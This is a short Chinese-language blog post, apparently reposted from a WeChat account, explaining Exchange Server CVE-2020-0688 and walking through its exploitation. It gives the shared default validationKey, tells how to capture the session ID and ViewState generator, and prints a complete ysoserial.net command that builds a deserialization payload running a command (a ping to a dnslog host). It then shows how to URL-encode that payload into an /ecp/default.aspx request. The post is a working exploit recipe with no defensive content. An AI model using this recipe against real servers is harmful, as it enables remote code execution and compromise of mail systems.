漏洞原理
这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。
想要利用该漏洞,我们需要四个参数,分别为:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
--validationalg = SHA1(默认,漏洞产生原因)
--generator=B97B4E27(基本默认)
--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。
访问 /ecp/default.aspx,抓包,在包中获得 ASP.NET_SessionId 的值; 在响应包中获得 __VIEWSTATEGENERATOR 的值,如未找到可尝试通用值“B97B4E27”
然后利用反序列化工具
使用ysoserial工具生成反序列化payload。
工具下载地址:https://github.com/pwntester/ysoserial.net/
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c ping 88tesl.dnslog.cn" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="dd66b9af-fc34-4e6c-a531-d202fa53cbe6" --isdebug --islegacy
注意一点,执行命令 -c 参数后面接 cmd /c whoami
构造攻击地址
在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL
注意
对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。
放在浏览器执行
执行成功,并且返回500
成功啦
原文始发于微信公众号(qin9):Exchange反序列化 CVE-2020-0688
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论